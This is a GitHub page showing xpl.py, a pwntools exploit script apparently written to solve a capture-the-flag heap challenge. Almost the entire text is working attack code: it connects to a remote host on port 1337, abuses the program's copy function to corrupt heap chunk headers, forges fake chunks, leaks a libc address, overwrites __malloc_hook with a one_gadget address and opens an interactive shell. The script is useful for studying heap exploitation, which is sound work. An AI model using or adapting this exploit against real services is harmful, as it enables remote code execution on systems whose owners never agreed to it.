-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathxpl.py
109 lines (74 loc) · 2.1 KB
/
xpl.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/env python3
from pwn import *
context.terminal = ["tmux", "sp", "-h"]
#context.log_level = "debug"
chall = ELF("./chall", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
def alloc(idx, size):
io.sendlineafter("Choice:", "1")
io.sendlineafter("Index:", str(idx))
io.sendlineafter("Size:", str(size))
def edit(idx, data):
io.sendlineafter("Choice:", "2")
io.sendlineafter("Index:", str(idx))
io.sendafter("Data:", data)
def show(idx):
io.sendlineafter("Choice:", "4")
io.sendlineafter("Index:", str(idx))
def copy(frm, to):
io.sendlineafter("Choice:", "3")
io.sendlineafter("From:", str(frm))
io.sendlineafter("To:", str(to))
def delete(idx):
io.sendlineafter("Choice:", "5")
io.sendlineafter("Index:", str(idx))
io = remote("69.90.132.248", 1337)
alloc(0, 0x90)
copy(0, 0)
edit(0, "A" * 8)
copy(0, 0)
alloc(1, 0x90)
alloc(2, 0x90)
copy(2, 3)
edit(1, p8(0) * 0x0 + p64(0x51))
alloc(0, 0x40)
alloc(4, 0x40)
edit(2, p8(0) * 0x8f + p8(0xf1))
alloc(0, 0xe0)
fake_chunk = p64(0) + p64(0xf1)
fake_chunk += p64(0x1) + p64(0)
for _ in range(7):
edit(0, p8(0) * 0x38 + fake_chunk)
copy(4, 4)
alloc(1, 0xf0) # Fix next chunk
edit(1, p8(0) * 0x90 + p64(0x61))
edit(0, p8(0) * 0x38 + fake_chunk)
copy(4, 4)
edit(0, "A" * 0x48)
show(0)
io.recvuntil("A" * 0x48)
leaked_libc = u64(io.recvuntil("\n", drop = True).ljust(8, b"\x00"))
libc.address = leaked_libc - 0x1ebbe1
log.success("Leaked GLIBC address: " + hex(leaked_libc))
log.info("GLIBC base address: " + hex(libc.address))
fake_chunk = p64(0) + p64(0x51)
fake_chunk += p64(0x1) + p64(0)
edit(0, p8(0) * 0x38 + fake_chunk)
copy(4, 4)
fake_chunk = p64(0) + p64(0x51)
fake_chunk += p64(0x1) + p64(0)
edit(0, p8(0) * 0x38 + fake_chunk)
copy(4, 4)
fake_chunk = p64(0) + p64(0x51)
fake_chunk += p64(libc.sym["__malloc_hook"] - 0x8) + p64(0)
edit(0, p8(0) * 0x38 + fake_chunk)
copy(4, 4)
alloc(1, 0x40)
fake_chunk = p64(0) + p64(0x51)
fake_chunk += p64(0x2) + p64(0)
edit(0, p8(0) * 0x38 + fake_chunk)
alloc(2, 0x40)
edit(2, p64(libc.address + 0xe6c7e))
alloc(1, 0)
io.interactive()
io.close()